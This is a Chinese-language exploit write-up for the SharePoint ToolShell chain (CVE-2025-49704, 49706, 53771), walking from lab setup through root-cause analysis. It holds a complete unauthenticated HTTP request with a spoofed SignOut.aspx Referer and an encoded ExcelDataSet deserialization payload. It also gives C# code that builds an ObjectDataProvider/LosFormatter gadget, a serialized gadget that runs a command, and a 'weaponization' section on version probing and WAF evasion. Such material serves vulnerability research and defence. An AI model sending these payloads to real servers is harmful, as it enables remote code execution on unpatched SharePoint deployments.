0x00 环境搭建
https://www.alibabacloud.com/help/tc/ecs/use-cases/install-sharepoint-2016
WindowsServer 2016
sharepoint 16.0.10337.12109
0x01 漏洞复现
Poc
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: 192.168.0.104:44946
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Referer: /_layouts/SignOut.aspx
Content-Type: application/x-www-form-urlencoded
Content-Length: 7003
MSOTlPn_Uri=http%3a//192.168.0.104%3a44946/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22iabkxcni%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22obsajjosoict%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3ciabkxcni%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3cobsajjosoict%3aExcelDataSet%20CompressedDataTable%3d%22H4sIANvgkmgAA9Va23LjSHKdscMb9qzf/AMKPU%2b3AFLsGXWoO4IgWRDZIiSARIHAxkQsbi2QBEAO7%2bLv%2bAv9BfbJLPDSt%2bmZWe%2bsrQ5RbBaqMvPkyVNZAL/59ptvvvlv/NBf%2bvn3f8KLNXhertLiZTtchd9fyHSxHM/KN9cvNfr3/UVrna/Wi/RNma5XizD//uJxHeXj%2bF36PJxN0/JN9MMPYSNuvNJv6tep9uPNv9Di/3G2Jr8M0hXZ%2brdRkQ/iLC3CP%2bNde/z%2bvbkIi2%2b/pbE//TNe/utfb3fL10u%2b5GJX5OXyzeWlevN6h/fZajV/fXW13W5fbusvZ4unq5qm6Vej/r1a9nBtsUxg9c3lelFWqy1fFON4MVvO3q9exLPiNa57oa66vBgnby6X4/KpzMbZfD2P8mRTXr797uKCnEnztEjL1UUZFulnLrtQi7zuLqs431yuFuv0%2bLm7TFvrxQIr3M/iME%2brYVqdfsgC3Jnn6W74PE8PHx%2bHstk4Ti%2bKcfkQx%2bsFENCwcrg7/G9dRrN1maTJ5fnMw%2bwPXd8k78dRMs/2s1k0fz9efzLlK/58fNky/XmdlvEXr/m8F6uijMbrOFmX6%2bQIEkFH5t5cVsRpzfI8jVdg4vKlmZbpYhy/vB8vV3/V//KXc24N0sUGAC1fdstVuijD/GVnNw8JEG8Rzufp4q%2b14wQvjV663Zf3s6WYLYpwhQnfX5zGfg/3tfr7xvsf3ut60tDCevjT90db4zKZbZfKyYdogljo7eNithknZPdxkS4BSkghCtRAup0tpr/Dhboeva//2HgVJvVX12m98dNPx5g%2bAOh/obJ/%2bunyYsVJQlLD8pkSdvkhNa%2b%2byJerrxCGL/gF4vF4xaQPiuTqWCXHkvrMUh9OV96wLLz97k8kPv8pbhOo0dPitfoTFr9LSNQctcTX5hwMvdjoVSXefiwup0BvPy7ei8pdkq5hGOUnwVnMtg8LcIyloroqC5etLCyfUmRpXC7TxeoTxbg9L8yj4o6/LrkvsOAqRFpPOp38CqH%2blAS3H5Xuw/vzUv20iP4AJy8%2bz%2bejpx3FqC/Q/haektNpgjcIaPWsfVkrb/vpKpslFqTgbRvasBiH%2bXif3l6dff61yY8hKQnAWv6SJuPyqnr/CASx%2bOuDaiSvl6sFOH759mrbed62tGbTbjabj1f4%2bdFoHn%2b2LXodSKsR1508GmyfZCGf41q%2biSaadj9prvut6%2b19y2gn3k5LRr380Wvkych59r3tsisM3S92c19b5al0NmFNrh%2b9bt2qdXR/79b6w%2bneMt3tQ3sq2H7XNtx6vk9MubqfWpvI3OV%2b3ZlHtcb%2bfprkEWyHXn/t1m6ecc3UrUnNb4vI0w/%2bNYbJXW8eFfGya%2bp7H9dFZj6Gf14w6u1D72b9OLSVz5Pmstux9OjO0ePCvcHaOuZmUWv75N7JMeZNBjXZkObNIvCub/xJXPeHcmIN/d3DsK8Fw%2bb1A6YosGQ7qst10szaUU3f%2bsAhfkqONg031wJP3zeb/abxNLaaRzwbuH63DDxLo%2bvi58ZdAPziIp9w/CMjw/s94j%2btWzR3nr4apiMLa2prt%2b4Ak0aJGFdxzdrEhPf475UnTLGfmBPNJ3qZts/ed%2bjVQIzNZuv/eYwcyv2odu7fdbubH2PqBN4uD2pCC6RFsWTgyyt/xFztIt5pMOr2DOK00emcMPJNes2y7cZ/NrZRPcnj0pphrWW3pYuosDYBeG3XblaRJ9ZBy3hnu7257SbC9qy6XewMR%2bTGcCpasiO6rismgdbb2m6s2XJet73EcNqGMXCFEbrCtF3hJFpvZLtS2NJy7GlgOPXECDqiFU6F8DXx6LpdHes7thR1e2oZzjAzpC5aXkd0HFeMYf9n23UsjJd2cWM4xcoYeklLTkUn1MTQdXt723U12204djE3nI5uSIzHmriDHzLROjvYl7bMHTvPDEfmhl8kLfh31%2b%2bw/Zqy36vbJezXbgxvlLQsVwisH8L/e9sNHKxv2FPYd3XDx/p9rJ9oQsJ%2bB%2bv3EB/8y%2bFfYrg0PhV3Q/gPfAZYf2LLwLBLh%2b1T/D7wCTThBloX/gcLjNd5feAjXcZXRJrwEP8S46UtndIeAV9gIMvEgO2u5Ph6uAZjngC%2bc/ZP5sKIgS/yQ/7VeFzmdXsE/4aOEUjg32H7Dn7r8B/2LcS3An7S8OB/AvueKyzYR%2byBxfFNAmVfE62BJjrAd4T4Ap5/sO9ZRgD/I4X/GPYXsI/8Jwp/XRg%2b%2bAPfTOAzxPydmi/V/JplSCkoPsrvAPOHsB9w/okfU/CP8Dnlf8f4uTrmN4CvMEC3ltXh/GWB1tkyP4hfpQF8EF%2bZtAbAB%2bs4Cn/KP%2bG/MgbgjyeZfwL8oPxj7Rhr3Dh2qfB3wQ9bEyb4OYJ9n%2bd7KLcc%2bHZyjh/5N2HfSzj/8TXwq9t5D%2bPwr36yj/nrI/7lnPND60fgDzhM%2bCj7sgf8JfBdGS7wHwIf5J/iF8DX4PrLA%2bY/4WthPjAeqPrLEB%2buIX57NzzuK/7nNtcP44f5FuIXlH8jdUUH86dYf3Dk3yH/wCHtiDvEF8C/HuLf256D/ErO/1Dn/Jv4pfpHfAnx27FHc1X/4BfmUv17wB/Yyjrjh9pm/mN%2bDH3xVf2NVPyBil/Tuf6BTRf8DBR/EBt4b091rl/Kf9/l/ME%2b5T%2bbcPxT1J%2bbGy7ih30T6yN%2b4j/lP1H8r%2bqP9Ecq/Vmo%2bKWyDx8RP9V/d6jwv%2bP6J/7liG9vcP7BX8o/6ofiS%2brID8YT5m9gJlR/VD8UP/HXUPybGwMT/BeC8Of5WD/D/A3mK/0YGga433I05gf0oyfZvicM5j/45%2baMn4iVfrz6Jf6f%2bEf62%2bP687B%2bVf85xrEHyAnHV%2bZcv8z/U/31jvpL%2bNfVfNJf4h/8Q/06kvVnivoHR3xln/QT/pM%2bJ9aBf4Q/6Y9U%2bCP3FH8w4f1jIoCfpPwb0GfSP9IfjfH1UB/EH9LfWsL6U/Ef/M6gH3nJ8QtpSOAPHyn/hF%2bN9zfCfyhU/kfMfxPxPyA%2b0tce868UKv7yA/5tlX6hfnOD80f6NFT6Q/xvKf2n/c/5jP6IhtJ/4l%2blfzW2T/hDvxh/h/ldIL9arvgHfMBdF/g8H/WH4pfAR57wh/2Nij8p2T7W9zHuagf%2bEf8Doexb7D/hDx2g/JD98Mh/0j/YJ/ypvlyOn/xHfj3sEwXyW1i8fxL/EhV/m/dP5r/afwgf2v98VR/EfzWf6gP1U9k3q/gXzD%2bKb9Jj%2b/Cf7WOdQOkv2Ucclf0h%2bJ9gfbX/dIkfJcdP%2boP6CYTaPzBfBozPh/u/C/3B3IP%2beNx/sP3gmH/sgdT/uEo/5UbhL471H1f1nzD/M4P5R/svapvsQ4NIf8dV/JuD/QHxs8b7O%2bnnJFH4T7j%2byT646Y8Y/wP/9r%2bgP1S/4IeD%2bbQ/Ab999tX6r%2bIn%2b5nqv0i/heI/9J/6h7P67yh8oWHUH6L%2bUF8H/7H/Eb8yyfVD8eecvxZsV/rVJf72FH8E7z/M/ynnn/z/PP86XP%2bkb8i/DJD/kvOPOqT9ra/899yP9Rf8o3HvlP8623f10gY3jvZP9Wep/Y3yr%2brfR39F%2blP1Py7HT/sf64/qf%2bD/Gf8pflxD/Mf%2bRfij/6T6o/39WuW/6v/IPsaxf6P5EYi91%2bf6of770H8q/O/8I/7UX8/rh/6P9j/0D6ZU/Rft/5uj/por5h/6b65/V/EvYP3l/kewflP90XzFP9I/zKf4KX857z/dU/0Fav%2bh%2bA/4T7n/yxLtHH%2bH%2byvyP1L1S/43qv6jpP6d%2bV8c%2b0/i/0zxX6r%2b/7P6m1ncfxa6ih/8PeyfGP9Z4Y/5vP/k3L8j/jtL1d/%2bvP4HON%2bQ/qB/pvoeV/23xfjT/qHnvP%2bhfjj/uKbB%2bxf3PxbHT/7H7rH/36v%2bA/VL9qn/MdX5I1T1TfgEqv4QP/Zv9D/EP5pf9V/An/rPicH8ofiBP%2bl/hT/pD/YfOn8o/Kn%2b7iTnV1yf9L/af9E/uqq/shS/Plv/vL/A/w73H55TV/qr%2bi/0n13q/2A/qPQH%2biLUfGjcgyvaA9VD4vxkORw/9IHyT%2bcf7A%2bEf1DVJ/ZPwl%2bq81m1f8F/rNsBvojNzdX%2bZeJ81lHnB6zvAr8u808i/%2bPq/IJx1JF46GCLcnsP6E%2buuX89G8cZ9rA/D9U4etCzcer/Je/PVN9S8ec0Tv1vB/wD9tx/YZzyL1ifqf4wl%2bbTuKXqk84/BuMv1fnZTFT%2b61X8JfX/A2DnVfEnnB%2bhH8/f0L8BtHUA/YP/BvTtnepPE9VflWp/8nLub0k/8gpfyfNP5/MWOELnL9LXV%2bp8gPpEf2nv1fkjUfUxRfzgf4b6xlih8B/WmH/Ef9IHTZ1/cb6m84uO/qNgfab1pzbXdxUf%2bhcb2jqg/hv8dlR9Y30n4PM16QPi92vJgR/YfwX8px4e50%2bcfY7xwT/kN1T1Wd0/oPjhP/ErUvNhH/uCa2N%2bDv/BX/SotH%2blqr5DxA//%2b9ph/yJ8Md9IVP7GSj/o/Eb9t8Hrk37jmg7wfwy4P6D%2bBvENK/wwHqn7I1LpH%2bEHfhK/UR84Oxuh6s/I/ml92j9J3zy%2b/3DwD/mx6AyNHnBl2LrSZ4pvqPCv8j9X5xvs73R/A/jfKf/JPurHQ3yUf8RP%2bGG8rc5H1P/Gmsrv7oCfgb6OxsFt0l/wg/Qd88/sd6v8Vvd/cqVPtRX390m1f6r7M/CP8B853J9SfknfkD%2b6f9Sq9LPCl/0n%2bwf%2b1Lh/sv07vo9Vs1ZB0xb09jfeD%2bN7ha0OrjdlibHcqOl5YmaboN28izyphebNtG/32829cbz355hyifNqlphyGIx6c9/bzdNC8L3EgXmzDEz5/E47rel4DS0up5vjfeS8lwfF4T7y9XroyZVfyOeB1ygi/Yu%2b/q3ze%2bom6bTHMdsz%2btPhz9p/c2ycB%2bPOacSm2/VH1j7w9HF0NzUTUzwHNal1SieLiyRPBF0jjbhu5ZHXW6Z2Q/NHvTIYOW46MvJhIVaBPV/h/7Oo5jz4np63vU/sGU27i99Ouy9%2bU74XZ/GJqHSeU9u/J9%2bXzd4Jg1Ku/Vpz/4%2b833sv/m/Ydsw8C2qNDTCe%2b/X%2b2r3rbfya3MfP26cjH/%2bezzKetsSs%2b2hkTaJ6bxl6XcQS0D1q4v6NpWzB5vbJrstlciefg6G%2bDkZSiwuxhG924tE86z4Y5W5UW%2bXRRB9b%2bySzvL5uTTqN/t7J%2b%2b2nRuvJt/6gZ0tmm%2b69G/Ov47z1H7m2pEV1orWcpqpbuo/fujlxpJAFamSSmPB13LCo/pCTXlQEG7dGz6jEMhzNMx6fZpvIdPL4Kea1VM3tTjXpNrLIc3t2bZfhM67BlrTm8C9jfO35MPSSNWqLcvvcmuo0L49zrn/bQdysHRpqvy5XAdXstkP1ajSb/W779ByGa97TcSDasjZZSpuu6Y/Jgt5u/AouGkPSmaSVfa5mPvnsne1LWvrxbK8APmVU3IDP%2bSR%2bbthxcTMJoGNdoXB/Jz7zPO/Tz%2bZKY2dGSz1/UnHw%2b%2bT4LKllc7AmP3hp6p/4Z2Q8bwE91/r77hM9e4lJRwe/Or6QFuif4utFpb3vj42jD781nrMHRqZJ7t%2bJo92Df%2bHI2kT/8Odk0z5z6Kn667DPPZWD2f3tVfV4%2bxeel1/9%2bgfmt%2bqbB93q8ffZA%2b3zrydcvr29%2bvDCL3wn4OrXfCng9uo3fhfio%2b9yXJ1/mePsWyRXH3%2bNpPriydWn3zy5vfroCzFvv/vz/wAhdP%2bjQSgAAA%3d%3d%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/iabkxcni%3aUpdateProgress%3e%0a

漏洞分析
根据卡巴斯基和Viettel Cyber Security的漏洞分析报告来看一下漏洞原理
https://blog.viettelcybersecurity.com/sharepoint-toolshell/
https://securelist.com/toolshell-explained/117045
这里我们先来分析一下反序列化漏洞,
CVE-2025-49704
根据分析文章来看,漏洞产生点
Microsoft.PerformancePoint.Scorecards#Helper
// Token: 0x06000CEF RID: 3311 RVA: 0x00029058 File Offset: 0x00027258
public static object GetObjectFromCompressedBase64String(string base64String)
{
if (base64String == null || base64String.Length == 0)
{
return null;
}
object result = null;
byte[] buffer = Convert.FromBase64String(base64String);
using (MemoryStream memoryStream = new MemoryStream(buffer))
{
memoryStream.Position = 0L;
GZipStream serializationStream = new GZipStream(memoryStream, CompressionMode.Decompress);
BinaryFormatter binaryFormatter = new BinaryFormatter();
result = binaryFormatter.Deserialize(serializationStream);
}
return result;
}
利用dnspy分析,可以看到在ExcelDataSet中进行了调用。

这里我们可以看到BinaryFormatter.Deserialize实际上是反序列化一串XML的内容。

这串XML内容,就是利用到了恶意的ExpandedWrapper方法来调用任意的方法,这里就调用到了LosFormatter#Deserialze方法,
还有一个疑问,BinaryFormatter是用来处理二进制数据的,为什么BinaryFormatter.Deserialize可以反序列化XML数据呢?
这涉及到了另一个漏洞CVE-2020-1147,在MSRC中明确指出了DataSet和DataTable

这里我写了一个Demo便于理解
using System;
using System.Collections.Generic;
using System.Data;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data;
class Program
{
static void Main()
{
var person = new Person();
var odp = new ObjectDataProvider
{
ObjectInstance = person,
MethodName = "say",
};
odp.MethodParameters.Add("hello");
var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(Person), typeof(ObjectDataProvider));
dynamic wrapper = Activator.CreateInstance(wrapperType);
wrapper.ExpandedElement = person;
wrapper.ProjectedProperty0 = odp;
var listType = typeof(List<>).MakeGenericType(wrapperType);
dynamic list = Activator.CreateInstance(listType);
list.Add(wrapper);
DataTable dt = new DataTable("hehe");
dt.Columns.Add("pwn", listType);
dt.Rows.Add(list);
DataSet ds = new DataSet("somedataset");
ds.Tables.Add(dt);
BinaryFormatter bf = new BinaryFormatter();
using (FileStream fs = new FileStream("payload.bin", FileMode.Create))
{
bf.Serialize(fs, ds);
}
BinaryFormatter bf1 = new BinaryFormatter();
using (FileStream fs = new FileStream("payload.bin", FileMode.Open))
{
bf1.Deserialize(fs);
}
}
}

当遇到DataSet的时候,会重写BinaryFormatter.Serialize正常序列化的流程,导入写入了XML内容,同样反序列化也如此。
上面XML的内容就是利用了ObjectDataProvider去调用了LosFormatter#Deserialize方法
继续来看一下是如何调用到这个ExcelSet组件的。
来看一下ToolPane.aspx文件
<%@ Assembly Name="Microsoft.SharePoint.ApplicationPages" %> <%@ Page Language="C#" Inherits="Microsoft.SharePoint.ApplicationPages.ToolpanePage" %> <%@ Import Namespace="Microsoft.SharePoint.ApplicationPages" %> <%@ Register Tagprefix="SharePoint" Namespace="Microsoft.SharePoint.WebControls" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register Tagprefix="Utilities" Namespace="Microsoft.SharePoint.Utilities" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Import Namespace="Microsoft.SharePoint" %> <%@ Assembly Name="Microsoft.Web.CommandUI, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <% SPSite spServer = SPControl.GetContextSite(Context); SPWeb spWeb = SPControl.GetContextWeb(Context); %>
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<html dir="<SharePoint:EncodedLiteral runat='server' text='<%$Resources:wss,multipages_direction_dir_value%>' EncodeMethod='HtmlEncode'/>">
<head>
<meta name="GENERATOR" content="Microsoft SharePoint"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta http-equiv="Expires" content="0"/>
<title id="onetidTitle"><SharePoint:EncodedLiteral runat="server" text="<%$Resources:wss,pagetitle_sharepoint%>" EncodeMethod='HtmlEncode'/></title>
<SharePoint:CssLink runat="server"/>
<SharePoint:CustomJSUrl runat="server" />
<link type="text/xml" rel='alternate' href="_vti_bin/spdisco.aspx" />
</head>
<SharePoint:ScriptLink name="core.js" localizable="false" Defer="true" runat="server" />
<body oncontextmenu = "return false;" onclick = "if(event.shiftKey) {event.returnValue = false; event.cancelBubble = true;}">
<form runat="server">
<asp:ScriptManager id="ScriptManager" runat="server" EnablePageMethods="false" EnablePartialRendering="true" EnableScriptGlobalization="false" EnableScriptLocalization="true" />
<WebPartPages:SPWebPartManager ID="SPWebPartManager" runat="server"/>
<WebPartPages:WebPartZone runat="server" ID="ImportedPartZone" />
<WebPartPages:ToolPane runat="server"/>
<SharePoint:FormDigest runat="server"/>
</form>
</body>
</html>
其中主要的操作在Microsoft.SharePoint.WebPartPages类中
SelectedAspWebPart

这里会进入到GetPartPreviewAndPropertiesFromMarkup方法中
但是这里是有条件进入的,
if (this.InCustomToolPane && this.SPWebPartManager.DisplayMode == WebPartManager.EditDisplayMode)
{
要求InCustomToolPane和DisplayMode是Edit,所以我们需要传入DisplayMode=Edit来进行设置,
InCustomToolPane需要通过Utility.CheckForCustomToolpane的检查

public static bool CheckForCustomToolpane(string pagePath)
{
bool result = false;
if (pagePath != null)
{
result = (pagePath.IndexOf("/_layouts/", StringComparison.OrdinalIgnoreCase) != -1 && pagePath.EndsWith("/ToolPane.aspx", StringComparison.OrdinalIgnoreCase));
}
return result;
}
要求pagePath中必须有/_layouts/,以/ToolPane.aspx结尾。
所以如果我们想要进入GetPartPreviewAndPropertiesFromMarkup函数,路径必须是/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
在这个GetPartPreviewAndPropertiesFromMarkup函数中,
这里获取到一个documentDesigner
documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication);
需要指定一个SharePoint的页面,继续看一下这个SharePoint的页面有什么要求

这里要求必须是_controltemplates/开头,.ascx结尾。
所以构造MSOTlPn_Uri=http://sharepoint/_controltemplates/15/AclEditor.ascx
接下来就会获取到MSOTlPn_DWP参数来继续构造组件。
会先实例化一个ServerElementMarkupSource类
ServerElementMarkupSource serverElementMarkupSource = new ServerElementMarkupSource(text);
这部分相当于对我们传入的控件字符串进行一个解析处理。

接着会调用PageParser#CreateAndInitializeDocumentDesigner函数
documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication);
这里会初始化一个IServerDocumentDesigner对象,相当于一个ASP.NET的页面解析沙箱。
最后会进入到documentDesigner.CreateNestedElementDesigner函数中进行解析
IServerElementDesigner serverElementDesigner = documentDesigner.CreateNestedElementDesigner(serverElementMarkupSource, parentElement, 0, true);
其中会进入到一个ParseControlsInternalHelper函数中,在这个函数中会进行一个BuildObject的操作,从而触发到DataTable的构造函数其中的GetObjectFromCompressedBase64String函数

这部分的插件调用其实可以参考微软的官方文档
https://learn.microsoft.com/zh-cn/previous-versions/office/developer/sharepoint-2010/hh228018(v=office.14)
CVE-2025-49706
根据文章来看,发现漏洞的点在PostAuthenticateRequestHandler方法中
关键代码如下
if (!context.User.Identity.IsAuthenticated)
{
if (flag5)
{
if (this.RequestPathIndex == SPRequestModule.PathIndex._layouts)
{
Uri uri2 = null;
try
{
uri2 = context.Request.UrlReferrer;
}
catch (UriFormatException)
{
}
if (uri2 != null)
{
string absolutePath = uri2.AbsolutePath;
if (SPRequestModule.s_LoginUrl == null)
{
ULS.SendTraceTag(2470943U, ULSCat.msoulscat_WSS_Runtime, ULSTraceLevel.Unexpected, "LoginUrl is unset for request to '{0}'.", new object[]
{
SPAlternateUrl.ContextUri
});
}
else if (absolutePath.EndsWith(SPRequestModule.s_LoginUrl, StringComparison.OrdinalIgnoreCase) && (text3.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || text3.EndsWith(".js", StringComparison.OrdinalIgnoreCase)))
{
context.SkipAuthorization = true;
}
}
}
}
else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
{
if (flag3)
{
ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[]
{
SPAlternateUrl.ContextUri
});
}
SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
}
else if (flag6)
{
HttpCookie httpCookie = context.Request.Cookies[SPSecurity.CookieWssKeepSessionAuthenticated];
HttpCookie httpCookie2 = context.Request.Cookies[SPSecurity.CookieWssKeepAuthenticated];
if ((httpCookie != null && SPUtility.StsCompareStrings(httpCookie.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue)) || (httpCookie2 != null && SPUtility.StsCompareStrings(httpCookie2.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue) && !flag2))
{
SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
}
}
}
其重点就是flag7,flag7是是否允许设置匿名访问,我们这里默认为false,所以会直接返回401
else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
{
if (flag3)
{
ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[]
{
SPAlternateUrl.ContextUri
});
}
SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
}
但是我们可以看一下前面
bool flag7 = false;
string text3 = context.Request.FilePath.ToLowerInvariant();
if (flag6)
{
Uri uri = null;
try
{
uri = context.Request.UrlReferrer;
}
catch (UriFormatException)
{
}
if (this.IsShareByLinkPage(context) || this.IsAnonymousVtiBinPage(context) || this.IsAnonymousDynamicRequest(context) || context.Request.Path.StartsWith(this.signoutPathRoot) || context.Request.Path.StartsWith(this.signoutPathPrevious) || context.Request.Path.StartsWith(this.signoutPathCurrent) || context.Request.Path.StartsWith(this.startPathRoot) || context.Request.Path.StartsWith(this.startPathPrevious) || context.Request.Path.StartsWith(this.startPathCurrent) || (uri != null && (SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathRoot) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathPrevious) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathCurrent))))
{
flag6 = false;
flag7 = true;
}
}
其中如果referer是
- /_layouts/SignOut.aspx
- /_layouts/14/SignOut.aspx
- /_layouts/15/SignOut.aspx

则可以将flag7设置为true,从而允许匿名访问,不会立即发送401
我们的目标是访问toolpane.aspx,这并不会通过每个页面的检查,
SharePoint中使用的网页有一些基本类型,其中toolpane.aspx使用的是WebPartPage它将会在生命周期的某个时间内进行身份验证。
在FormOnLoad事件中进行了身份检查,所以仍然会返回401

会进入到contextWeb.Request.RenderFormDigest(bstrUrl, spstringCallback);

那我们是怎么进入到GetPartPreviewAndPropertiesFromMarkup中的呢?
如果想要绕过OnLoad事件之前的鉴权,就需要在这个事件触发之前进入到GetPartPreviewAndPropertiesFromMarkup函数。
这里就涉及到了ASP.NET的生命周期
https://learn.microsoft.com/en-us/previous-versions/aspnet/ms178472(v=vs.100)#life-cycle-events
在OnLoad事件之前,InitComplete事件之后,会自动触发GetPartPreviewAndPropertiesFromMarkup函数。
CVE-2025-53771
正是上面漏洞的一个绕过,正如卡巴斯基团队所分析的那样,使用ToolPane.aspx/就可以进行绕过

0x02 对武器化一些思考
第一点,部分武器化的利用代码,是检测了/_layouts/15/error.aspx来检测版本从而决定是否利用EXP,但是这并不对,因为我们在未开启匿名访问的时候,访问/_layouts/15/error.aspx是401状态,

那我们应该检测什么呢?在看msf中的pr时,我发现有人提起start.aspx,碰巧在上面设置referer头的时候也看到了这个,

在这里,我们可以看到当访问start.aspx的时候,也会实现和referer头一样的效果。

或者我们在检测error.aspx的时候,加上referer头设置匿名访问。

第二点,在反序列化的利用过程中,我在测试的时候发现了另外一种反序列化的利用方式,当我们开启两种登录模式的时候,

此时我们访问页面就变成了这样的(这里仍然是未开启匿名访问),

我们不添加referer头仍然可以攻击成功。

那这里有什么用呢?或许对某些绕waf有一点作用。
第三点,可能是因为我安装的sharepoint版本高一些,服务器对User—Agent进行了严格的检测,如果不添加是没有办法攻击成功的。

0x03 POC的构造
我们先来看一下上面能打通的POC
<%@ Register Tagprefix="iabkxcni" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="obsajjosoict" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<iabkxcni:UpdateProgress>
<ProgressTemplate>
<obsajjosoict:ExcelDataSet CompressedDataTable="...." DataTable-CaseSensitive="true" runat="server"/>
</ProgressTemplate>
</iabkxcni:UpdateProgress>
其重点就是需要去构造CompressedDataTable数据,通过上面的分析可以知道CompressedDataTable的数据是BinaryFormatter反序列化的数据。
所以这里我们直接构造
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Services.Internal;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization.Formatters.Binary;
using System.Web.UI;
using System.Windows.Data;
namespace SharePointPoc
{
internal class Program
{
static void Main(string[] args)
{
var losFormatter = new LosFormatter();
var odp = new ObjectDataProvider
{
ObjectInstance = losFormatter,
MethodName = "Deserialize",
};
odp.MethodParameters.Add("/wEywhEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACS9jIHdpbnZlcgYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFy